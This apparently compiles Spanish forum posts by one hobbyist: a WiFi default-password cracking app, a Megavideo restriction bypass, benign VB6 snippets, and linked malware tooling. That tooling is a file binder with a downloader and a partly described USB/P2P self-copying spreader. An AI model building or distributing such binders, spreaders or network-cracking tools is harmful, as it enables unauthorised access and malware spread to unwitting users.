Temas

Con WiFi2Me usted podrá comprobar la seguridad de sus redes WIFI, la aplicación funciona utilizando varios algoritmos para generar la contraseña por defecto del router, para ello comprueba mediante los ESSID y el BSSID de la red si es compatible, aquí les dejo el listado de redes compatibles:

- WLAN_XXXX
-JAZZTEL_XXXX
- TECOM-XXXXXX-XXXXXX
- PTV-XXXXXX & ptvxxxxxx & ptv-xxxxxxx
- PXXXXXXXXX (ONO)
- DLINKXXXXXXXXX & D-LINKXXXXXXXXX & DLINK
- WLANXXXXXX, YACOMXXXXXX y WiFiXXXXXX
- ThomsonXXXXXX
- DmaxXXXXXX
- BTHomeHub-XXXX
- Orange-XXXXX
- INFINITUMXXXXXX
- CytaXXXXXX
- SpeedTouchXXXXXX
- Bbox-XXXXXX
- TN_private_XXXXXX
- BigPondXXXXXX
- O2wirelessXXXXXX
- DlinkXXXXXX
- BlinkXXXXXX
- D-Link-XXXXXX
- privatXXXXXX
- Discus--XXXXXX
- InfostradaWiFi-XXXXXX

Características:

- Escaner de redes wifi.
- Intentar recuperar las contraseñas predetemidas de los modelos de routers antes mencionados.
- Conectar a las redes si estan al alcance.
- Modo Offline para cuando no tenga la red al alcance.
- NO utiliza diccionarios, todas las contraseñas las genera el programa,
- Exportar los listados de contraseñas mediante iTunes o Correo.
- Listado de usuarios y contraseñas de muchisimos routers.
- Diseño cuidado y profesional.

WiFi2Me es una aplicación totalmente gratuita, el desarrollador utiliza una gran parte de su tiempo libre para añadir nuevas características y hacer de ella una de las mejores aplicaciones para comprobar la seguridad de SUS redes, si usted piensa que la aplicación es buena y le gusta le agradecería que hiciera una pequeña donación al proyecto utilizando el método de pago Paypal, no importa la cantidad, el acto es lo que realmente cuenta --> PAYPAL: skyweb09@hotmail.es

REPO CYDIA: http://cydia.myrepospace.com/skyweb07/

Algunas capturas:

Bueno gente le quería agradecer a toda las personas de la pagina www.seguridadwireless.net por todos los avances y descubrimientos que han realizado en la penetración de redes wifis, por lo que he programado una aplicación para iPhone/iPod con la que pueden hacer auditoria de las redes wifis de sus routers personales. Utilizando algoritmos descubiertos por terceros. Para poder instalar la aplicación tienen que agregar la repo: http://cydia.myrepospace.com/skyweb07/ y descargar la aplicación WiFi2Me. Aquí les dejo la descripción y características de la misma:



WiFi2Me es una aplicación con la que usted podrá comprobar la seguridad de su red Wifi en cuestión de segundos. Mediante la utilización de algoritmos públicos descubiertos por terceros podemos intentar calcular la contraseña predeterminada de distintos modelos de rotures. Esta aplicación solo funciona si la contraseña que viene por defecto en estos rotures no ha sido cambiada. En varias ocasiones la aplicación detecta la contraseña en cuestión de segundos, pero en otras la misma encuentra varias listas de contraseñas para intentar hacer fuerza bruta por lo que de este modo tomara mas tiempo intentando conseguir la contraseña. Cabe destacar que la misma es mucho mas rápido que alternativas de pago como son (iWep PRO) lo que hace que destaque sobre esta.

La aplicación se ha creado con el fin de que usted pueda probar la seguridad de sus rotures, el creador no se responsabiliza de ningún daño que pueda causar esta aplicación.

Características:

● Escanear redes que esten a su alcance.
● Intentar recuperar la contraseña que viene por defecto de ciertos modelos de rotures.
● Conectar a la red cuando se ha obtenido la contraseña.

Redes soportadas:

● WLAN_XX (Solo Espana)
● WLAN_XXXX
● JAZZTEL_XXXX
● DLINK
● TECOM-XXXXXX-XXXX
● INFINITUMXXXX

NOTA: Se irán agregando mas modelos de routers en versiones posteriores.

Modo de uso:

1) Escanear redes wifi.
2) Si esta es vulnerable aparecera la flechita de la celda, si no es vulnerable aparecera sin flecha.
3) Hacer tap en la red wifi que desea conectar.
4) Si se ha encontrado la contraseña y hay solo una posibilidad le saldrá la opción de conectarse o copiar la contraseña al PasteBoard.
5) Si hay mas de una posibilidad de contraseña se le dará la posibilidad de hacer fuerza bruta y su dispositivo intentara conectar usando todas las claves del diccionario generado.
6) Para pausar la fuerza bruta, simplemente tiene que agitar el dispositivo y le permitirá seguir haciendo fuerza bruta o detener el ataque.

Saludos a todos y cualquier duda comenten

[*¿Qué es Kestiny?*]

*¿Qué es Kestiny?*

Es una aplicación la cual facilita las búsquedas y descargas de canciones en internet, utilizando para ello motores de búsqueda alternativos como son goear.com, shoutcast.com, google, etc.

*¿Qué función realiza?*

Buscar canciones/álbumes, descargarlos, reproducirlos. También nos da una amplia gama de emisoras de radio online para reproducirlas. Por otra parte nos muestra información de los artistas y canciones más solicitados en algunos países.

*¿Shortcuts de la aplicación?*

• Ctrl + Espacio → Pausar / Reproducir.
  
• Ctrl + Derecha → Siguiente canción.
  
• Ctrl + Izquierda → Canción anterior.
  
• Ctrl + Arriba → Subir volumen.
  
• Ctrl+ Abajo → Disminuir volumen.
  
• Ctrl + S → Detener Canción.
  
• Ctrl + Q→ Salir de la aplicación
  

*¿Tiene incluidas las funciones de Windows 7?*

Si, la aplicación cuenta con varias funciones de Windows 7 para hacer más amena la interface.

*Idiomas disponibles*

• -Español
  
• -Inglés
  
  
  *Requisitos minimos para ejecutar la aplicación*
  
  
• Sistema operativo Windows 2000, Windows XP, Windows Vista o Windows 7.
  
• Memoria RAM de 256 megabytes (MB)  o más.
  
• Espacio disponible en disco rígido de 10 megabytes (MB).
  
• Requisitos adicionales para usar ciertas funciones:*
  
• Acceso a Internet.
  
• Para escuchar música y sonidos se necesita una salida de audio.
  
  
  *Limitaciones de esta versión*
  
  No permite crear listas de reproducción de las canciones.
  
  *Link de descarga*
  
  http://kestiny.codeplex.com/releases/54221/download/158961
  
  *Capturas de Pantalla*
  
  
  
  
  
  
  
  
  
  
  

Bueno esta vez les traigo una aplicación que probablemente le guste a más de uno, les dejo la descripción y algunos detallitos de la aplicación para que sepan de que va la cosa



Descripción

Mega Jumper es simplemente un programa que se salta la fastidiosa restricción de megavideo de los 72 minutos y te pone el
video como si fueses premium. Lo que te elimina la restricción de los 72 minutos y puedes disfrutar completamente de todo
tipo de video de MV sin tener que estar cambiando IP, reiniciando el router etc...

Requisitos Minimos:

1) Adobe Flash Player instalado.
2) Carpeta [Player] que viene con el programa.
3) Obviamente Internet


Modo de uso:

1) Clic en [Introducir URL]
2) Espere a que se cargue el reproductor.
3) El video aparecera en pantalla sin ningun tipo de restricción.

[No obligatorio]

1) Si desea entrar en modo pantalla completa solo clic en [Pantalla Completa]
2) Si desea copiar el link directo al video para reproducirlo con otro reproductor simplemente clic en [Copiar Link Descarga]

[Obligatorio]

Por favor si quieren que el programa funcione correctamente no borren la carpeta [Player] que es donde esta el reproductor de videos flash.

[Agradecimientos]

Fred.cpp

Saludos a todos [Skyweb07]

Descarga : http://www.skyweb-productions.org/megajumper/Mega%20Jumper.zip

Holas, pues tengo una duda que quisiera aclarar, ¿cómo es que hago para por ejemplo separar de la cadena siguiente el texto que esta entre las comillas?

Código (php) [Seleccionar] Expandir

flashvars.un = "d5deff2d3cd0baa468a74e69b040d74e";

Saludos y gracias de antemano

Bueno estaba intentando hacer algo pero me salio este churro... Saludos

Código (vb) [Seleccionar] Expandir

Option Explicit

'*********************************************************************************************************************
'* Función           : mGetImage                                                                                      *
'* Fecha             : 15/03/2010 : 11:05                                                                             *
'* Autor             : Skyweb07 * skyweb09@hotmail.es                                                                 *
'* Referencias       : http://msdn.microsoft.com/en-us/library/ms678485%28VS.85%29.aspx                               *
'*                   : http://gpwiki.org/index.php/VB:Tutorials:WINAPI:Copy_DirectDrawSurface_To_StdPicture           *
'* Próposito         : Cargar una imagen en un picturebox o Image desde una ruta local o remota [URL]                 *
'* Comentarios       : Microsoft : El flujo debe estar en (bitmap), JPEG, WMF (metafile), ICO (icon), o formato GIF.  *
'* Soporte           : SO Minimo : Windows 2000 Professional                                                          *
'* Modo de uso       : PictureBox.picture = GetImage("URL de la imagen", Color Transparente [Opcional])               *
'**********************************************************************************************************************

Private Declare Function OleLoadPicturePath Lib "oleaut32.dll" (ByVal szURLorPath As Long, ByVal punkCaller As Long, ByVal dwReserved As Long, ByVal clrReserved As OLE_COLOR, ByRef riid As GUID, ByRef ppvRet As IPicture) As Long

Private Type GUID
    Data1 As Long
    Data2 As Integer
    Data3 As Integer
    Data4(0 To 7) As Byte
End Type

Public Function GetImage(hURLorPath As String, Optional TransparentColor As OLE_COLOR = vbWhite) As StdPicture
   
    Dim uID As GUID

    With uID ' // StdPicture GUID {7BF80980-BF32-101A-8BBB-00AA00300CAB}
        .Data1 = &H7BF80980
        .Data2 = &HBF32
        .Data3 = &H101A
        .Data4(0) = &H8B
        .Data4(1) = &HBB
        .Data4(3) = &HAA
        .Data4(5) = &H30
        .Data4(6) = &HC
        .Data4(7) = &HAB
    End With
   
    Call OleLoadPicturePath(StrPtr(hURLorPath), 0&, 0&, TransparentColor, uID, GetImage)
   
End Function


EDITADO : Perdón por el error que me falto un pedazo de code al postearlo

Bueno esta APi esta hecha para que los programadores de VB6 puedan interactuar con algunos datos del Tuenti, ya que los programadores de dicha página todavia no se han dignado de crear una API y al parecer no quieren por el momento por lo que hay que ingeniarselas para sacar algunos datos de la página . Antes que nada les comento que soy un Anti-Redes Sociales pero bueno no hay que ligar las cosas personales. Bueno sin más charla aqui les va el código y espero que le den un buen uso . Saludos a todos.

PD: Se le pueden añadir muchas más opciones pero me aburri ya de esa mier*** de página.

Código [Seleccionar] Expandir

Option Explicit

'---------------------------------------------------------------------------------------
' Modulo         : mTuenti
' Autor          : skyweb07
' Creación       : 14/02/10 23:01
' Próposito      : Una simple API para el tuenti.
' Requerimientos : Ninguno.
' Créditos       : LeandroA - Función UTF8ToUnicode
'                : http://javierarias.wordpress.com/api-tuenti/ - Idea original.
'---------------------------------------------------------------------------------------

' // Wininet

Public Declare Function InternetOpen Lib "wininet" Alias "InternetOpenA" (ByVal sAgent As String, ByVal lAccessType As Long, ByVal sProxyName As String, ByVal sProxyBypass As String, ByVal lFlags As Long) As Long
Public Declare Function InternetOpenUrl Lib "wininet" Alias "InternetOpenUrlA" (ByVal hInternetSession As Long, ByVal lpszUrl As String, ByVal lpszHeaders As String, ByVal dwHeadersLength As Long, ByVal dwFlags As Long, ByVal dwContext As Long) As Long
Public Declare Function InternetReadFile Lib "wininet" (ByVal hFile As Long, ByVal sBuffer As String, ByVal lNumBytesToRead As Long, lNumberOfBytesRead As Long) As Integer
Public Declare Function InternetCloseHandle Lib "wininet" (ByVal hInet As Long) As Integer

' // Kernel32

Private Declare Function MultiByteToWideChar Lib "kernel32" (ByVal CodePage As Long, ByVal dwFlags As Long, ByRef lpMultiByteStr As Any, ByVal cchMultiByte As Long, ByVal lpWideCharStr As Long, ByVal cchWideChar As Long) As Long

Private Const INTERNET_OPEN_TYPE_DIRECT As Long = 1
Private Const INTERNET_FLAG_RELOAD = &H80000000

Private Const hTuentiURL As String = "http://m.tuenti.com/"

Public Function SendMessage(uID As Long, hMessagge As String)
   
    ' // Función para enviar un mensaje a un usuario determinado.
    ' // [uID] = ID del usuario a enviar mensaje.
    ' // [hMessagge] = El Mensaje a enviar.
    ' // Para usar esta función es necesario estar logueado anteriormente.
   
    Dim hData       As String
   
    Const hStatus   As String = hTuentiURL & "?m=messaging&func=process_send_message&user_id=[UID]&csfr=[CS]&text="
   
    hData = UTF8ToUnicode(GET_(hTuentiURL & "?m=home"))
   
    If InStr(1, hData, "csfr=") Then
       
        Call POST_(Replace$(Replace$(hStatus, "[CS]", Textbetween(hData, "csfr=", Chr$(34))), "[UID]", uID) & hMessagge)
   
    End If

End Function

Public Function SetStatus(hState As String) As Boolean
   
    ' // Función para cambiar el texto del estado del tuenti.
    ' // [hState] = Estado nuevo.
    ' // Para usar esta función es necesario estar logueado anteriormente.
   
    Dim hData       As String
   
    Const hStatus   As String = hTuentiURL & "?m=profile&func=process_set_status&from=home&csfr=[CS]&status="
   
    hData = UTF8ToUnicode(GET_(hTuentiURL & "?m=home"))
   
    If InStr(1, hData, "csfr=") Then
       
        Call POST_(Replace$(hStatus, "[CS]", Textbetween(hData, "csfr=", Chr$(34))) & hState)
   
    End If

End Function

Public Function GetProfileImage(uID As Long) As String
   
    ' // Función para descargar la imagen de un usuario determinado.
    ' // [uID] = La ID del Usuario que desea descargar la imagen.
    ' // Para usar esta función es necesario estar logueado anteriormente.
   
    Dim hData       As String
   
    Const hPI       As String = hTuentiURL & "?m=profile&user_id="
   
    hData = UTF8ToUnicode(GET_(hPI & uID))
   
        If InStr(1, hData, "profile_img") Then
           
            GetProfileImage = GET_(Textbetween(hData, "profile_img" & Chr$(34) & " src=" & Chr$(34), Chr$(34)))
           
        End If
   
End Function

Public Function GetUserInfo(uID As Long) As String
   
    ' // Función para obtener información determinada sobre un usuario determinado.
    ' // [uID] = La ID del Usuario que desea obtener la información.
    ' // Para usar esta función es necesario estar logueado anteriormente.
   
    Dim hData       As String
    Dim hDelimiter  As String
    Dim hSplit()    As String
   
    Const Info      As String = hTuentiURL & "?m=profile&user_id="
   
    If Not IsEmpty(uID) Then
   
    hData = UTF8ToUnicode(GET_(Info & uID))
   
        hDelimiter = Textbetween(hData, "Sobre", "box")
       
        hSplit() = Split(hDelimiter, "<br />")
       
            If UBound(hSplit) Then
               
                GetUserInfo = Left$(hSplit(0), InStr(1, hSplit(0), "<") - 1) & vbCrLf & _
                Back(hSplit(0), ">") & vbCrLf & _
                hSplit(1) & vbCrLf & hSplit(2) & vbCrLf & hSplit(3) & vbCrLf & _
                "Foto del perfil : " & Textbetween(hData, "profile_img" & Chr$(34) & " src=" & Chr$(34), Chr$(34)) & vbNewLine
               
            End If
       
    End If
   
End Function

Public Function GetFriends(uID As Long) As Collection

    ' // Función que devuelve una colección de amigos de un usuario determinado.
    ' // [uID] = La ID del Usuario que desea obtener la información.
    ' // Para usar esta función es necesario estar logueado anteriormente.
   
    Dim hData       As String
    Dim hDelimiter  As String
    Dim hSplit()    As String
    Dim vItem       As Integer
    Dim hPage       As Long
   
    Const Friends   As String = hTuentiURL & "?m=friends&func=view_friends_of_user&user_id=[ID]" & "&page="
   
    Set GetFriends = New Collection
   
    Do
       
        hData = UTF8ToUnicode(GET_(Replace$(Friends, "[ID]", uID) & hPage))
       
        If InStr(1, hData, "No hay amigos que mostrar.") Then Exit Do

            hDelimiter = Textbetween(hData, "#filter", Right$(hData, 20))
           
               hSplit() = Split(hDelimiter, "user_id")
                   
                    For vItem = 1 To UBound(hSplit) Step 2
                       
                        If Trim_(Back(Textbetween(hSplit(vItem), "user_id", "</a>"), ">")) <> "Página anterior" Then
                           
                            GetMyFriends.Add Trim_(Back(Textbetween(hSplit(vItem), "user_id", "</a>"), ">"))
                             
                        End If

                    Next vItem
       
               hPage = hPage + 1

        DoEvents
       
    Loop
   
End Function

Public Function GetMyFriends() As Collection
   
    ' // Función que devuelve una colección de mis amigos.
    ' // Para usar esta función es necesario estar logueado anteriormente.
   
    Dim hData       As String
    Dim hDelimiter  As String
    Dim hSplit()    As String
    Dim vItem       As Integer
    Dim hPage       As Long
   
    Const Friends   As String = hTuentiURL & "?m=friends&page="
   
    Set GetMyFriends = New Collection
   
    Do
   
        hData = UTF8ToUnicode(GET_(Friends & hPage))
       
        If InStr(1, hData, "No hay amigos que mostrar.") Then Exit Do

            hDelimiter = Textbetween(hData, "#filter", Right$(hData, 20))
           
               hSplit() = Split(hDelimiter, "user_id")
               
                    For vItem = 1 To UBound(hSplit) Step 2

                        GetMyFriends.Add Trim_(Back(Textbetween(hSplit(vItem), "user_id", "</a>"), ">"))

                    Next vItem
       
               hPage = hPage + 1

        DoEvents
       
    Loop
   
End Function

Public Function Login(hMail As String, hPassword As String, Optional hRemember As Boolean = False) As Boolean
   
    ' // Función para loguearse en el tuenti.
   
    Dim hData       As String

    Const Tuenti As String = hTuentiURL & "?m=login&func=process_login&tuentiemail=[MAIL]&password=[PASSWORD]&remember=[R]"

    hData = GET_(Replace$(Replace$(Replace$(Tuenti, "[MAIL]", hMail), "[PASSWORD]", hPassword), "[R]", Int(hRemember)))
   
    If InStr(1, hData, "func=log_out") > 0 Then Login = True

End Function

Public Function LogOut() As Boolean
   
    ' // Función para salir del tuenti.
   
    Dim hData       As String
   
    Const hLogOut As String = hTuentiURL & "?m=login&func=log_out"
   
    If POST_(hLogOut) = True Then LogOut = True

End Function

Private Function GET_(hURL As String, Optional hUserAgent As String = "Mozilla Firefox") As String
   
    ' // Función para descargar cualquier tipo de documento o texto de internet utilizando wininet.
   
    Dim hInternet    As Long
    Dim hFile        As Long
    Dim hBuffer      As String * 1000
    Dim hRead        As Long

    hInternet = InternetOpen(hUserAgent, INTERNET_OPEN_TYPE_DIRECT, vbNullString, vbNullString, 0)
   
        If hInternet <> 0 Then
           
            hFile = InternetOpenUrl(hInternet, hURL, vbNullString, ByVal 0&, INTERNET_FLAG_RELOAD, ByVal 0&)
           
                 If hFile <> 0 Then
                   
                    Do
                   
                       Call InternetReadFile(hFile, hBuffer, 1000, hRead)
                       
                       GET_ = GET_ & Left$(hBuffer, hRead)

                       If hRead = 0 Then Exit Do
                       
                       DoEvents
                       
                    Loop
                 
                 End If
       
        End If
       
        If hInternet <> 0 Then Call InternetCloseHandle(hInternet)
        If hFile <> 0 Then Call InternetCloseHandle(hFile)

End Function

Private Function POST_(hURL As String, Optional hUserAgent As String = "Mozilla Firefox") As Boolean
   
    ' // Función para abrir una URL específica.
   
    Dim hInternet   As Long
    Dim hFile       As Long
   
    hInternet = InternetOpen(hUserAgent, INTERNET_OPEN_TYPE_DIRECT, vbNullString, vbNullString, 0)
   
        If hInternet <> 0 Then
           
            hFile = InternetOpenUrl(hInternet, hURL, vbNullString, ByVal 0&, INTERNET_FLAG_RELOAD, ByVal 0&)
           
            If hFile <> 0 Then POST_ = True

        End If
       
        If hInternet <> 0 Then Call InternetCloseHandle(hInternet)
        If hFile <> 0 Then Call InternetCloseHandle(hFile)
       
End Function

Private Function UTF8ToUnicode(ByVal sUTF8 As String) As String ' // LeandroA
   
    ' // Función para convertir texto UTF8 a Unicode.
   
    Dim UTF8Size        As Long
    Dim BufferSize      As Long
    Dim BufferUNI       As String
    Dim LenUNI          As Long
    Dim bUTF8()         As Byte
   
    If LenB(sUTF8) = 0 Then Exit Function
   
    bUTF8 = StrConv(sUTF8, vbFromUnicode)
    UTF8Size = UBound(bUTF8) + 1
   
    BufferSize = UTF8Size * 2
    BufferUNI = String$(BufferSize, vbNullChar)
   
    LenUNI = MultiByteToWideChar(65001, 0, bUTF8(0), UTF8Size, StrPtr(BufferUNI), BufferSize)
   
    If LenUNI Then UTF8ToUnicode = Left$(BufferUNI, LenUNI)

End Function

Private Function Back(hData As String, Char As String) As String
   
    If InStrRev(hData, Char) <> 0 Then Back = Right(hData, Len(hData) - InStrRev(hData, Char))

End Function

Private Function Trim_(hData As String) As String

    Trim_ = Trim$(Replace$(hData, Chr$(0), vbNullString))
   
End Function

Private Function Textbetween(hData As String, hDelimit1 As String, hDelimit2 As String) As String

    On Error Resume Next
   
    Textbetween = Left$(Mid$(hData, InStr(hData, hDelimit1) + Len(hDelimit1)), InStr(Mid$(hData, InStr(hData, hDelimit1) + Len(hDelimit1)), hDelimit2) - 1)

End Function

Bueno esta es una pequeña función la cual nos permite obtener información detallada sobre las aplicaciones instaladas utilizando la API del Installer de Window, no es necesario leer ya las entradas del registro para obtener esta información , lo malo es que solo lista las aplicaciones que utiliza el installer , las demás las desecha porque no lo usan. También añadi otro pedazito de code para desinatalar las apliaciones con esa misma API. Bueno saludos y espero que les resulte interesante.

Código [Seleccionar] Expandir

Option Explicit

'---------------------------------------------------------------------------------------
' Modulo         : mEnumerateInstallerApps
' Autor          : skyweb07
' Email          : skyweb09@hotmail.es
' Creación       : 02/02/2010 12:45
' Próposito      : Obtener una lista detallada de las aplicaciones instaladas en window utilizando las apis del Installer.
' Requerimientos : Windows Installer 3.0+
' Créditos       : http://msdn.microsoft.com/en-us/library/aa369426%28VS.85%29.aspx
'---------------------------------------------------------------------------------------

' // MSI

Private Declare Function MsiEnumProductsA Lib "MSI.dll" (ByVal iProductIndex As Long, ByVal lpProductBuf As String) As Long
Private Declare Function MsiGetProductInfoA Lib "MSI.dll" (ByVal szProduct As String, ByVal szAttribute As String, ByVal lpValueBuf As String, ByRef pcchValueBuf As Long) As Long
Private Declare Function MsiInstallProductA Lib "MSI.dll" (ByVal szPackagePath As String, ByVal szCommandLine As String) As Long

' // MSI Constantes

Const INSTALLPROPERTY_PRODUCTNAME = "ProductName"
Const INSTALLPROPERTY_PACKAGECODE = "PackageCode"
Const INSTALLPROPERTY_VERSIONSTRING = "VersionString"
Const INSTALLPROPERTY_HELPLINK = "HelpLink"
Const INSTALLPROPERTY_INSTALLLOCATION = "InstallLocation"
Const INSTALLPROPERTY_INSTALLSOURCE = "InstallSource"
Const INSTALLPROPERTY_INSTALLDATE = "InstallDate"
Const INSTALLPROPERTY_PUBLISHER = "Publisher"
Const INSTALLPROPERTY_LOCALPACKAGE = "LocalPackage"

Const ERROR_NO_MORE_ITEMS As Long = 259&
Const ERROR_SUCCESS As Long = 0&

Public Function EnumApplications() As Collection
   
    ' // Función para obtener el listado de aplicaciones que estan instaladas
    ' // utilizando el Installer de window, ojo que las otras aplicaciones que
    ' // no esten instaladas utilizando el Installer no las va a listar.
   
    Dim vBuffer     As String * 39
    Dim hGUID       As Collection
    Dim i           As Long
   
    Const Y As String = " - "
   
    Set hGUID = New Collection
    Set EnumApplications = New Collection
   
    Do Until MsiEnumProductsA(ByVal i, vBuffer) = ERROR_NO_MORE_ITEMS
       
        hGUID.Add Left$(vBuffer, InStr(1, vBuffer, Chr$(0)) - 1)
       
        i = i + 1
       
    Loop
   
    If hGUID.Count > 0 Then
       
        For i = 1 To hGUID.Count
           
           EnumApplications.Add ProductInfo(hGUID.Item(i), INSTALLPROPERTY_PRODUCTNAME) & Y & ProductInfo(hGUID.Item(i), INSTALLPROPERTY_PUBLISHER) & Y & ProductInfo(hGUID.Item(i), INSTALLPROPERTY_VERSIONSTRING) & Y & ProductInfo(hGUID.Item(i), INSTALLPROPERTY_INSTALLDATE) & Y & ProductInfo(hGUID.Item(i), INSTALLPROPERTY_INSTALLLOCATION) & Y & ProductInfo(hGUID.Item(i), INSTALLPROPERTY_HELPLINK) & Y & ProductInfo(hGUID.Item(i), INSTALLPROPERTY_LOCALPACKAGE) & Y & ProductInfo(hGUID.Item(i), INSTALLPROPERTY_PACKAGECODE)

        Next i
       
    End If

End Function

Private Function ProductInfo(hGUID As String, hAttribute As String) As String
   
    ' // Función para obtener información acerca de una aplicación deternimada
    ' // pasandole los parámetros de la GUID de la aplicación y el atributo de
    ' // la información que se desea obtener.
   
    Dim vBuffer As String * 260
       
    If MsiGetProductInfoA(hGUID, hAttribute, vBuffer, Len(vBuffer)) = ERROR_SUCCESS Then
       
        ProductInfo = Left$(vBuffer, InStr(1, vBuffer, Chr$(0)) - 1)
       
    End If
   
End Function

Public Function Uninstall(hPath As String) As Long
   
    ' // Función para desinstalar un programa utilizando el installer
    ' // ojo que el valor lo devuelve solo cuando se desinstala el programa
    ' // o cuando el usuario cancela la instalación
    ' // Más información aqui : http://msdn.microsoft.com/en-us/library/aa370315%28VS.85%29.aspx
   
    Uninstall = MsiInstallProductA(hPath, "REMOVE=ALL")

End Function


Bueno chic@s aqui les dejo un modulo de clase que se utiliza para aplicarle el efecto aereoglass a nuestras aplicaciones, cabe destacar que dicho efecto solo se encuentra disponible en los sistemas operativos despues de windows XP , es decir Window Vista y Window 7 por lo que no funcionara con versiones anteriores del sistema operativo. Aqui una OCX que hace exactamente lo mismo pero que es de pago : http://www.teebo.com/AeroGlassVB.htm , bueno y aqui una imagen de como queda el efecto :



DESCARGA : http://www.megaupload.com/?d=79ZWGC0X

Saludos y espero que les guste

Bueno este es el source de el Spotify Tweaks , ya se que esta en la página del proyecto en Codeplex pero a lo mejor algunos no lo habían visto, el código esta bastante interesante por lo que les recomiendo que se lo miren y vean como funciona .. Saludos a todos  :bye:

Link del post original : http://foro.elhacker.net/foro_libre/spotify_tweaks_v10_beta-t280401.0.html

Source : http://www.multiupload.com/5COQ2RABCE

Bueno eh aqui con otro simple aporte a la comunidad, esta vez se trata de un binder sencillito Open Source que he desarrollado entre ayer y hoy, el mismo trae opciones para Bindear Archivos / Downloader / Icon Changer y Clonar Informacion de Otro Archivo, pero este Binder no lo hice con animos de un Binder sino para que sepan como funciona la extructura interna de un Binder de verdad, digo estoy ya que lo que mas me costo trabajo es mientras iba creando el codigo lo iba comentando linea por linea , cuando vean el codigo veran que es super sencillo * 10 ^ 10 aparte de estar bastante organizado, vamos que el que no entienda es porque o no tiene idea de programacion o simplemente porque es un vago... Bueno sin mas charlas aqui les dejo unas imagenes y el EXE junto con el Source  :mml:







DESCARGA : http://www.exponelo.com/files/02TX1MKY/iBinder%20v1.0.rar

PD : Si desean Modificar el Code del Cliente necesitaran instalar Codejock 13.0.0 y el Stub no tiene referencias asi que lo pueden editar sin utilizarlo...

Bueno este es un simple modulo que sirve para extraer los iconos de archivos EXE o DLL , es muy simple y funciona bien, si encuentran algun bug o algo solo reportenlo y se arreglara =) , aqui les dejo el codigo del modulo y un ejemplo de uso =)

Código [Seleccionar] Expandir

Option Explicit

'**************************************************************
'**************************************************************
'**  Module  :  mExtractIcons                                **
'**  Author  :  Skyweb07                                     **
'**  Email   :  skyweb09@hotmail.es                          **
'**  Date    :  03/10/2009 - 15:20                           **
'**  Purpose :  Extraer Iconos desde Archivos EXE o DLL      **
'**************************************************************
'**************************************************************

'**************************************************************
'**************************************************************
'**  APIS para dibujar los iconos                            **
'**************************************************************
'**************************************************************

Private Declare Function ExtractIconEx Lib "shell32.dll" Alias "ExtractIconExA" (ByVal lpszFile As String, ByVal nIconIndex As Long, phiconLarge As Long, phiconSmall As Long, ByVal nIcons As Long) As Long
Private Declare Function DrawIcon Lib "user32" (ByVal hdc As Long, ByVal X As Long, ByVal Y As Long, ByVal hIcon As Long) As Long
Private Declare Function DestroyIcon Lib "user32" (ByVal hIcon As Long) As Long

Public Function Extract_Icons(hFile As String, Listview As Listview, Picture As PictureBox, IL As ImageList)

Dim hCount As Long
Dim hIcon As Long
Dim i As Integer

Listview.ListItems.Clear ' // Limpiamos los Items de la Listview

Set Listview.Icons = Nothing ' // Quitamos las referencias de las imagelist de el Listview para que no de error

IL.ListImages.Clear ' // Limpiamos las imagenes de la Imagelist

Do ' // Hacemos un Loop por todos los iconos de el archivo

ExtractIconEx hFile, hCount, hIcon, 0, 1 ' // Extraemos el Icono y lo almacenamos en la variable hIcon

If hIcon = 0 Then Exit Do ' // Si retorna 0 es que no hay mas iconos entonces Salimos del bucle

With Picture

.Cls ' // Limpiamos la Picturebox
.AutoRedraw = True ' // Activamos el  AutoRedraw
.BackColor = vbWhite     ' // Le ponemos a la Imagen un color Blanco de fondo para que se vea bien en la Listview

DrawIcon .hdc, 0, 0, hIcon ' // Dibujamos el Icono
DestroyIcon hIcon ' // Destruimos el Icono para liberar el espacio utilizado en la memoria

With IL

.ListImages.Add , , Picture.Image ' // Anadimos el icono a la Imagelist
.ListImages(.ListImages.Count).Tag = .ListImages.Count & "-" & Right$(hFile, Len(hFile) - InStrRev(hFile, "\"))   ' // Anadimos el tag de la Imagen el Nombre del Archivo

End With

hCount = hCount + 1 ' // Incrementamos la variable hCount

End With

Loop ' // Bucle

If IL.ListImages.Count > 0 Then ' // Si la Imagelist tiene Iconos

Set Listview.Icons = IL ' // Le asignamos a la Listview el Imagelist

For i = 1 To IL.ListImages.Count ' // Recorremos todos los iconos de la IMagelist

Listview.ListItems.Add , , IL.ListImages.Item(i).Tag, i ' // Anadimos el Icono a la Listview

Next i ' // Icono Siguiente

End If

End Function

PD: El Codigo de ejemplo esta comentado en ingles porque el primer post que hice lo hice para un foro en ingles {Solo para que no hallan problemas}

LINK : http://www.megaupload.com/?d=RLHVXEF0

Pués mi pregunta como dice el titulo es algo como redondear los bordes de las imagenes para que quede algo como esto



Es para un proyecto de Youtube o algo asi es solo para que cuando obtenga las imagenes de las canciones las redondee y quede mas chulo... 

Hola a todos chic@s, pues les cuento que estaba navegando por internet aburrido buscando una función para apagar el UAC, entonces me encontre con un foro que decia como apagar el UAC pero en muchos pasos :p, por lo que me puse a ver como hacer algo bonito para poder apagar el puñetero UAC que nos molesta tanto... Los métodos que hize son muy simples... Lo primero es verificar si tenemos permisos para modificar el registro y si no lo tenemos intentamos darnos esos permisos, luego desabilitamos el mensaje de informacion que sale cuando se desabilita el UAC , finalmente desabilitamos el UAC cambiando el valor en el registro ... Si es algo simple pero efectivo.. Lo he provado en Windows 7 que es el sistema operativo que tengo instalado y ha funcionado perfectamente .. Si puedieran probarlo en Windows Vista me harian un gran favor ---Saludos a todos y aqui les muestro unas imagenes de como queda :

Foro donde encontre el truco :  http://www.mydigitallife.info/2007/10/02/how-to-shut-off-uac-for-administrator-in-window-vista/





LINK : http://exponelo.com/files/YDWLHXUW/iUac%20Disabler.rar

Bueno son las 3:56 de la mañana.. algo tarde pero es que he estado trabajando en algo que me ha llevado un buen rato porque he tenido que instalar todos los clientes p2p más usados por las personas para poder obtener las rutas del registro y asi poder patchear las carpetas compartidas de cada una, este modulo que les traigo aqui es un spreader, pero es y no es a la misma vez un simple spreader les explico porque :

* USB Spread : Es una modificación del modulo anterior del iUSB pero con la nueva caracteristica que comprueba si el dispositivo esta listo y asi se pueda autocopiar satisfactoriamente



* P2P Spread : Esta es la parte que más me costo trabajo , por que?

1- Tuve que instalar todos los fucking clientes p2p que ven a continuación



Esa es una imagen de la WMware con los clientes p2p instalados, eso fue necesario para poder obtener las entradas del registro de cada uno de ellos.

2- Como saben casi todos los spreaders que hay por ahi lo que hacen es coger y autocopiarse a la carpeta definida de cada uno de estos clientes, pues este spreader es distinto ya que obtiene la ruta directamente del registro con lo cual si existe el cliente p2p en el pc y el usuario cambio la ruta default del cliente se va a autocopiar de todas formas .

